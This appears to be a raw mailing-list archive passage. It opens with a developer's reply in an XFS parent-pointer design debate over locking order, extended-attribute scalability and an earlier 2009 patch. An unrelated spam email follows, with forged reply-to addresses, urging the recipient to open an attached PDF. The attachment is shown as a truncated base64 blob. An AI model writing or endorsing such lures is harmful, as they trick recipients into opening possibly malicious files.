child and > is trying to lock the parent. Once this problem was understood, > using directory offsets was considered a non-starter for the linux > port given how complex working around the inversion makes the > reverse path lookups. > > I note that Mark's patch set will not trip over this, > because the XFS_IOC_GETPARENTS_BY_HANDLE code never actually locks > the child inode the handle points to. IOWs, it isn't safe against > concurrent modification of the inode, and hence would never deadlock > even if the problem was seen. It's more likely to have caused > filesystem corruption or crashed. It has locked in the attribute iteration code. I see your point on the locking order and we cannot use a callback to get the name. There are very simple solutions for that. > > Further, not storing the filename in the attribute value has > scalability limitations. A reverse lookup requires reading the > directory entry to get the filename, and so if you have large > directories and/or a large number of reverse lookups to perform the > cost is huge. Every lookup has to walk the bmbt tree to find the > directory data block that contains the offset, then it needs to be > read from disk, and then it needs to be iterated to find the correct > entry. It's a huge amount of work, and it's unnecessary because we > have the name of the file at the time the parent pointer EA is > created... Happens only during the ioctl. The 2009 does far worse things in the data path. > >> 7) (kind of (4) + (6)) >> EA: > > This mostly solved the reverse lookup deadlock because it was no > longer necessary to read the parent directory to find the filename. > It didn't solve it entirely, though, because of the parent inode > uniqueness issue. We still have to hold the child locked to > guarantee that when we look up the parent inode number it matches > what is in the EA, and so we still have to lock the path from > child->parent->root in volation of the VFs lock ordering. First > Linux solution considered, never implemented. > > 8) EA:, value= > > Solved the deadlock problems, the scalability problems, and > uniqueness. Early implementation showed up more flaws with using the > directory offset and multiple hard links into the same directory - > we could get races with unlink/link loads failing parent attribute > creation because there was already an attribute of that name on the > inode. This was because of the fact that inode locks are dropped > during transaction commits between directory and attribute > modifications. Hence we could lose parent pointers silently under > such workloads. > > The solution that SGI then settled on was this: > > 9) EA:, value= > > It solved all the unique identifier problems, and the lookup > scalability issues and all the deadlocks, and that was what was > implemented in the patch posted here in 2009: > > http://thread.gmane.org/gmane.comp.file-systems.xfs.general/27772 > > With the addition of the inode generation number, we can look up the > parent inode without holding the child inode locked and know that we > got the right inode by verifying the inode/gen tuple match on the > inode we looked up. However, we haven't got the child locked, so we > need to have some other method of knowing if the child is still in > the directory once it is locked. (e.g. unlink/link races). The gen number changes only if the inode has been reallocated. You have a parent inode and a filename, but you would have to do a xfs_lookup to make sure that the parent is still the parent. > > That's where the "count" field of the EA name comes from. Each > inode keeps a separate "parent counter" attribute so that hard links > to the same directory can be uniquely identified by the EA name. The > initial inode create always uses a value of "1", and when the first > hardlink is added the special attribute is created with a value of > 2, and that is used (and incremented) on every subsequent hard link. > Hence every hardlink has a unique attribute name/value pair. This code has never be proven. It appears to me that this will prevent one kind of link/unlink race but to prevent the other, you need to hold the lock over the directory code and the EA code. > > As a result, parent lookups (for path resolution or removal) can > match on ino/gen/value, knowing that if we race with an unlink and a > new hardlink of the *same name* there will be a second *unique* > parent pointer attribute (under a ino/gen/cnt+N name) that has the > same pointer information added to the tree for the new entry. Hence > it is safe to use whatever parent pointer attribute for a given > ino/gen/value we find because it is guaranteed to be valid for the > operation we are about to perform. The other race is not getting the EA into the inode before trying to remove it. > > A potential optimisation to improve it is that parent counter does > not need to be in an EA. It's 32 bits, so can easily be added to the > spare space in the v2 inode and avoid unnecessary attribute reads > and writes on parent pointer creation. > > Hence the parent pointer structure and implementation in 9) solves > all the known problems to do with hardlinks, scalability, locking > order, code complexity etc, and it has relatively little additional > runtime overhead. It also works for v4 filesystems - the proposed > patch set cannot be made to work on older filesystem structures as > there isn't room in the v2 inode for the fast-path fields. I know you love 2009, but lets talk about it scalability: 1) larger EA will make xfs_rename/xfs_link slower, and limit the link we can support. why did they do this = to make an ioctl a bit faster? still need to do xfs_lookups to make sure the names are still valid. 2) in remove and rename data paths, it iterates over all the EAs looking for the EA it must remove. That is a non-starter for me. > > So, there are several problems with approach 6) that the proposed > patchset is based on that were later discovered and solved. Mark, > most of this information was given to you (but in less detail) a > year ago. The patchset hasn't solved any of the flaws that were > pointed out back then, and I don't see how they can be with the > design that is being used. And the EA problems in the 2009 patch makes that a non-starter for me. > > I don't expect anyone to understand all the intricacies of the > problems that the 2009 parent pointer patchset solved. It's simple > code, but the problems it solves are subtle and complex and were > found the hard way - by shipping code for political/commercial > reasons before the entire problem space was understood. > > That's the primary reason why SGI undertook to redesign parent > pointers for the Linux code base rather than port the Irix code - > the irix design was fundamentally flawed and a dead end. SGI might > have lost that historical XFS knowledge and perspective, but the > Linux XFS community hasn't. > > Hence the problems with various parent pointer designs are still > well understood and, as such, the implementation needs to be done > properly and solve all the known design flaws we've found in the > past. To this day, the only parent pointer design that actually > avoids all the known problems is one we have from SGI from 2009.... > >> On the other hand keeping the directory and extended attribute in one >> transaction should keeping the changes atomic when the filesystem >> is forced down between the directory and attribute changes. Despite >> all the gore (see below) of doing the directory and attribute changes >> in one transaction, I think it is the correct thing to do. > > Yes, I said that it was necessary a year ago and pointed you at how > to do it: > > http://xfs.org/index.php/Improving_Metadata_Performance_By_Reducing_Journal_Overhead#Atomic_Multi-Transaction_Operations > That would limit the log space, but would not help in holding locks over the directory and EA code. You think the counts solve that problem. It solves one problem but not all. The lock order problem in the getparents/getparentpaths is simple. But in any version, we cannot make sure the getparentpath paths are correct because of lock ordering at least with the . > Mark, it saddens me that you've wasted your time on a dead end. I wish > you had of spent your time implementing AMTs instead, and then just > forward ported the 2009 patch. If you'd done that a year ago, we'd > be just about ready to ship a working parent pointer implementation > instead having to go back to square one. :( > > Cheers, > > Dave. You concern is touching. --Mark. From stev.emorganv@eclipso.eu Fri Jan 17 18:08:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.2 required=5.0 tests=FREEMAIL_FORGED_REPLYTO autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 722337F3F for ; Fri, 17 Jan 2014 18:08:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E02BD8F8035 for ; Fri, 17 Jan 2014 16:08:00 -0800 (PST) X-ASG-Debug-ID: 1390003675-04bdf00fdf776670001-w1Z2WR Received: from relay.mailchannels.net ([198.20.121.29]) by cuda.sgi.com with ESMTP id hOtt7eAm5c4FGNId for ; Fri, 17 Jan 2014 16:07:56 -0800 (PST) X-Barracuda-Envelope-From: stev.emorganv@eclipso.eu X-Barracuda-Apparent-Source-IP: 198.20.121.29 X-Sender-Id: arvixe|x-authuser|zdzxcz%40gruieo.concrete5.arvixe.com Received: from canary.arvixe.com (ip-10-244-196-74.us-west-2.compute.internal [10.244.196.74]) by relay.mailchannels.net (Postfix) with ESMTPA id 7B8EA625FC; Sat, 18 Jan 2014 00:06:33 +0000 (UTC) X-Sender-Id: arvixe|x-authuser|zdzxcz%40gruieo.concrete5.arvixe.com Received: from canary.arvixe.com (canary.arvixe.com [10.246.16.22]) (using TLSv1 with cipher DHE-RSA-AES256-SHA) by 0.0.0.0:2500 (trex/5.0.19); Sat, 18 Jan 2014 00:07:54 GMT X-MC-Relay: Bad X-MailChannels-SenderId: arvixe%7Cx-authuser%7Czdzxcz%2540gruieo.concrete5.arvixe.com X-MailChannels-Auth-Id: arvixe Received: from localhost ([127.0.0.1]:52234 helo=webmail.gruieo.concrete5.arvixe.com) by canary.arvixe.com with esmtpa (Exim 4.82) (envelope-from ) id 1W4JQe-0002dp-OY; Fri, 17 Jan 2014 16:06:24 -0800 Received: from 202.175.83.61 ([202.175.83.61]) (SquirrelMail authenticated user zdzxcz@gruieo.concrete5.arvixe.com) by webmail.gruieo.concrete5.arvixe.com with HTTP; Fri, 17 Jan 2014 16:06:24 -0800 Message-ID: Date: Fri, 17 Jan 2014 16:06:24 -0800 Subject: Please reply urgently From: "Steve Morgan" X-ASG-Orig-Subj: Please reply urgently Reply-To: stevemorga.n@aol.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="----=_20140117160624_28521" X-Priority: 3 (Normal) Importance: Normal X-AuthUser: zdzxcz@gruieo.concrete5.arvixe.com X-Barracuda-Connect: UNKNOWN[198.20.121.29] X-Barracuda-Start-Time: 1390003675 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.31 X-Barracuda-Spam-Status: No, SCORE=1.31 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, RDNS_NONE, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144193 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS To: undisclosed-recipients:; ------=_20140117160624_28521 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Guten Tag, Ich bin noch auf Ihre Antwort auf meine letzte E-Mail an die Sie erhalten= . Bitte hier ist eine Anlage der E-Mail zur=FCcksenden, um Sie, lesen Sie u= nd antworten. Mit freundlichen Gr=FC=DFen Herr Steve Morgan I am yet to receive your reply on my last email to you. Please here is an attachment of the email resend to you, please read and reply. ------=_20140117160624_28521 Content-Type: application/pdf; name="Guten Tag.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Guten Tag.pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhmci1GUikgL1N0cnVjdFRyZWVSb290IDEzIDAgUi9NYXJrSW5mbzw8L01hcmtlZCB0cnVlPj4+ Pg0KZW5kb2JqDQoyIDAgb2JqDQo8PC9UeXBlL1BhZ2VzL0NvdW50IDEvS2lkc1sgMyAwIFJdID4+ DQplbmRvYmoNCjMgMCBvYmoNCjw8L1R5cGUvUGFnZS9QYXJlbnQgMiAwIFIvUmVzb3VyY2VzPDwv Rm9udDw8L0YxIDUgMCBSL0YyIDcgMCBSPj4vUHJvY1NldFsvUERGL1RleHQvSW1hZ2VCL0ltYWdl Qy9JbWFnZUldID4+L01lZGlhQm94WyAwIDAgNTk1LjMyIDg0MS45Ml0gL0NvbnRlbnRzIDQgMCBS L0dyb3VwPDwvVHlwZS9Hcm91cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZpY2VSR0I+Pi9UYWJzL1Mv U3RydWN0UGFyZW50cyAwPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvRmlsdGVyL0ZsYXRlRGVjb2Rl L0xlbmd0aCAyNzEzPj4NCnN0cmVhbQ0KeJyNWktv20gSvgfwf+BlARGwaL6apADDgGzL3swkg2Ds 2Ryye6AtWuKalANStrH5s3vxb8gph+mq6uqHJEpGIEvsZ3XVV1VfNeOdfPFOT08+X3y89MKTT+Vq 4Y2qfjy78c/OvPPLC+/89ujDyVXkRbF3+3D0IfJC+S/y8jgI49TLRREI2dMefQi9Bfy5PvrwbXT9 7I+T0dofp6PKL0Yr+OFB060/jkfl4tj/j3f729GHmVwcNuBVo1gEUWGv+k3OM2O92ecLz7NEjpTI 82r86S9b5E05kyjIeMXPKFctpcpQPJTsD/hT+pNRW3nQUfd+FNERsP+ffjKqus7P6PFG9gic/VJh Ay76BMfrFrCMOfPHe1+MlvKDT2V3ByvVa2f3O1ZVjY+WcJ0HXed+OipXsOUjLwQr1lUHO+Jz7Uch 75qN5rjgSm4FT3i4uprrRZsSuniQbA08KWaixNxtHFZllAYFq/IBViDB5izYxyVqQeoANCNG07kU vqugse8rLdwz/Onul36OIrZ45lzN+QSHedPrVt3Kq0FiglQn5+BJS7QCnhxVT41NRUrJRl+ru4HD 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 hqCqXiXmikdjpa7vDdvv+sYc3UUzpTXHOY3CNZ9YoWVslcDmfYm550RCYd3AUz2yF7FJEQWCrbeo ekVVmrX3Cr6j9MLwx7yxI4xZMT4btT+hyWL+sOLxNlmS8t8AgSc1YADpkZ6kjP2NHKUKVLoScaLl n3Uvpa316xQ3YEBM0EVt76Htaq1bc41zSFVZGuSJnZRoxRISczbk2luvJ40iX/U7GXOSm7pyrq5U sViR7LJTKqYzt8J9DTbWxhgiPrWrjRdZzkM44NLBcq0lk8jNGx02gstRyobfDe5XXZoHRWTX+r8I GoK01dROVW296h18ry1deseybhRvS9S6IZ7u4tt6kiEbwrVN7ux7KszF5HiQDh/ADOR4zwwAigBW KQkKyiyjkzI93ta+KNMJQ4uLdShg9z25O0miIGRtqDLxGRZg51w7dKCrTdp1tTB95kKlBUV0jz6i /BEJ1JpC5HCRgjv3T80zv11WkDPIVWI1FgQHc4zkdFniHm1vjhHvzTFhGkTszFyp2cS76jUx00Tl ukNr/9/PdY4egGeG993OJgesFxd5kPBY/r8RY7Wx+s8RL5rtfNZpYkFEcEiBIEmWuatvKfBvLn+5 qA0KZW5kc3RyZWFtDQplbmRvYmoNCjUgMCBvYmoNCjw8L1R5cGUvRm9udC9TdWJ0eXBlL1RydWVU eXBlL05hbWUvRjEvQmFzZUZvbnQvQUJDREVFK0NhbGlicmkvRW5jb2RpbmcvV2luQW5zaUVuY29k aW5nL0ZvbnREZXNjcmlwdG9yIDYgMCBSL0ZpcnN0Q2hhciAzMi9MYXN0Q2hhciAyNTIvV2lkdGhz IDI1IDAgUj4+DQplbmRvYmoNCjYgMCBvYmoNCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5h bWUvQUJDREVFK0NhbGlicmkvRmxhZ3MgMzIvSXRhbGljQW5nbGUgMC9Bc2NlbnQgNzUwL0Rlc2Nl bnQgLTI1MC9DYXBIZWlnaHQgNzUwL0F2Z1dpZHRoIDUyMS9NYXhXaWR0aCAxNzQzL0ZvbnRXZWln aHQgNDAwL1hIZWlnaHQgMjUwL1N0ZW1WIDUyL0ZvbnRCQm94WyAtNTAzIC0yNTAgMTI0MCA3NTBd IC9Gb250RmlsZTIgMjYgMCBSPj4NCmVuZG9iag0KNyAwIG9iag0KPDwvVHlwZS9Gb250L1N1YnR5 cGUvVHlwZTAvQmFzZUZvbnQvQUJDREVFK0NhbGlicmkvRW5jb2RpbmcvSWRlbnRpdHktSC9EZXNj ZW5kYW50Rm9udHMgOCAwIFIvVG9Vbmljb2RlIDI3IDAgUj4+DQplbmRvYmoNCjggMCBvYmoNClsg OSAwIFJdIA0KZW5kb2JqDQo5IDAgb2JqDQo8PC9CYXNlRm9udC9BQkNERUUrQ2FsaWJyaS9TdWJ0 eXBlL0NJREZvbnRUeXBlMi9UeXBlL0ZvbnQvQ0lEVG9HSURNYXAvSWRlbnRpdHkvRFcgMTAwMC9D SURTeXN0ZW1JbmZvIDEwIDAgUi9Gb250RGVzY3JpcHRvciAxMSAwIFIvVyAyOSAwIFI+Pg0KZW5k b2JqDQoxMCAwIG9iag0KPDwvT3JkZXJpbmcoSWRlbnRpdHkpIC9SZWdpc3RyeShBZG9iZSkgL1N1 cHBsZW1lbnQgMD4+DQplbmRvYmoNCjExIDAgb2JqDQo8PC9UeXBlL0ZvbnREZXNjcmlwdG9yL0Zv bnROYW1lL0FCQ0RFRStDYWxpYnJpL0ZsYWdzIDMyL0l0YWxpY0FuZ2xlIDAvQXNjZW50IDc1MC9E ZXNjZW50IC0yNTAvQ2FwSGVpZ2h0IDc1MC9BdmdXaWR0aCA1MjEvTWF4V2lkdGggMTc0My9Gb250 V2VpZ2h0IDQwMC9YSGVpZ2h0IDI1MC9TdGVtViA1Mi9Gb250QkJveFsgLTUwMyAtMjUwIDEyNDAg NzUwXSAvRm9udEZpbGUyIDI4IDAgUj4+DQplbmRvYmoNCjEyIDAgb2JqDQo8PC9BdXRob3IoT3du ZXIpL0NyZWF0b3Io/v8ATQBpAGMAcgBvAHMAbwBmAHQArgAgAE8AZgBmAGkAYwBlACAAVwBvAHIA ZAAgADIAMAAwADcpL0NyZWF0aW9uRGF0ZShEOjIwMTMxMjMwMDMwMDQ1KzAxJzAwJykgL01vZERh dGUoRDoyMDEzMTIzMDAzMDA0NSswMScwMCcpIC9Qcm9kdWNlcij+/wBNAGkAYwByAG8AcwBvAGYA dACuACAATwBmAGYAaQBjAGUAIABXAG8AcgBkACAAMgAwADAANyk+Pg0KZW5kb2JqDQoxOSAwIG9i ag0KPDwvVHlwZS9PYmpTdG0vTiAxMS9GaXJzdCA3NC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3Ro IDMzOT4+DQpzdHJlYW0NCniclVJda8IwFH0X/A/3H6RJWnUgwpjKhiilFfYwfIj1rhbbRmIK+u+X 23RbH/awQsj9yDnn3uSGTyEAEUDEQXDggQAhgEcShFtBCMKtKAI+ARlMgEuQTw4WQjgjGEz5DNya hhzmcxYTLoCEpSxm+8cVWWpNk9lViRXbfEBwABbnIAmzWIxH/6Dw4RQxnCKHU8LhlOhPiuwoKWb2 zxegCSU0o9Zwb4Q30puQzAE60Z7I3iAmWluW6BK36kqjo3KxMli3pzRFylCliZfpne7wbjf4AN5J r51WrS2yHW2r+vQb7B30qO/+Hq+oTmi8T5xv/60uixrTs6IOKfFcOwVlC113sbHFp3JOG71rczlq fWFLnTWV66nN3M6Ilpq0bKsyo3vxy9ntvXhZqFLnvURaFifsYX0dB8uNqti6yBuD3V13TXVzf5b+ 98/rDhrHePQF+FTyRQ0KZW5kc3RyZWFtDQplbmRvYmoNCjI1IDAgb2JqDQpbIDIyNiAwIDAgMCAw IDcxNSAwIDAgMCAzMDMgMCAwIDI1MCAzMDYgMjUyIDAgNTA3IDAgMCAwIDUwNyAwIDUwNyAwIDAg MCAwIDAgMCAwIDAgMCAwIDU3OSA1NDQgMCA2MTUgNDg4IDAgNjMxIDYyMyAyNTIgMzE5IDUyMCA0 MjAgODU1IDY0NiAwIDUxNyAwIDU0MyA0NTkgNDg3IDY0MiA1NjcgODkwIDAgMCAwIDAgMCAwIDAg MCAwIDQ3OSA1MjUgNDIzIDUyNSA0OTggMzA1IDQ3MSA1MjUgMjMwIDIzOSA0NTUgMjMwIDc5OSA1 MjUgNTI3IDUyNSAwIDM0OSAzOTEgMzM1IDUyNSA0NTIgNzE1IDAgNDUzIDM5NSAwIDAgMCAwIDAg MCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAw IDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAg MCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAw IDAgMCAwIDAgMCAwIDAgMCAwIDUyNyAwIDAgMCAwIDQ3OSAwIDAgMCAwIDAgMCAwIDAgMCAwIDAg MCAwIDAgMCAwIDAgNTI3IDAgMCAwIDAgMCA1MjVdIA0KZW5kb2JqDQoyNiAwIG9iag0KPDwvRmls dGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA5MTA3NS9MZW5ndGgxIDE5MjE4ND4+DQpzdHJlYW0NCnic 7HsHeFRV+v45907LlMxMMpMyk2QmGZIACQkQSiiSgRRKaEkYSIBAQkITEaSDgNg1imXtva0V1Mkg EtRVVOzdxdW1u7rqumDXXdEk//fc754QEF19frt/d58nJ3nv+57vlHvOd88595swMM4Y8+JiYFPL asaPfWFDvxlM2VfGmG9V+ZiyaSexD2oYe+0Dxjynl4+ZWFo1svM6xl56gDFz77Fl5RUfPfo1Y8qL 0xhTPx07dUrN4uYRpzB24DjGr7aPrYmMUdU+3zHl7HWMVbw+paZw4HdvvpbGGH8Nd21oWtq4fF/Z Jw7Gev+AAVzetGZVMHrV3pcZm7mHMWPaguULl3777SQ7Y/0uZizOt7Bx5XKWxkK4/3a0dy08bv2C hNnzT2Zs7puMjXhz0fzG5v1vD3wX/c9G+ZBFMDjuNG9EHu1Zr0VLV637rD5lGQZczFjOI0vmrzje cWHHSMbuszBmLTtuWVPjXze9voOxq9oYy5i8tHHd8sxh2SjjyLPg8Y1L56feccKJjO2dyJhj1PJl K1d1+tkZGM+5onz5ivnLl9ytdODWUdzOxYRvjW3V3xbmj5vrHPkNS0VXSPf/feOzgp95fcep3x9s Pyduv/leZOOYwiihnYl1ML7Xev33Bw9eH7df66lbMowQFmcOa2BGtgBQmIsVsvmMuS/AfVWUqoY8 fgFKLMYrjEXoMoNYfZGdoTALU5xGRVEMqmJ4lymdYba9k+7L2KSaYJCFMZ0yGoP5WiUnyPh1okzd ZYwXM0Xv8YdGw1/AiG4Qz+XXJcNMtv0ny/YfXqZ+/NN1j0xGO5v1o/5+ONReMfzyvpStzKy1701t 1PqjtzW9yrYb+/7yfn8uGbIO9WOoPcIPd7KxR2ujfsic3fPGLHbHL75fC8syZ7Bjfu04e1JPUl9h s3+JrXsyDGJXqPPYzF/SP+o2HNb396z+l7RTTmDZv6Teb5XUvWzwL6knfCU1/xM7/dfcg3/S+UrX /W46rJ8rjlbf1Myu6H6/H42l+MfP7Gi2rrJufSlPH96vmsmqfnrkWr9afeUulvlz9f6dCeO9+Ci2 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 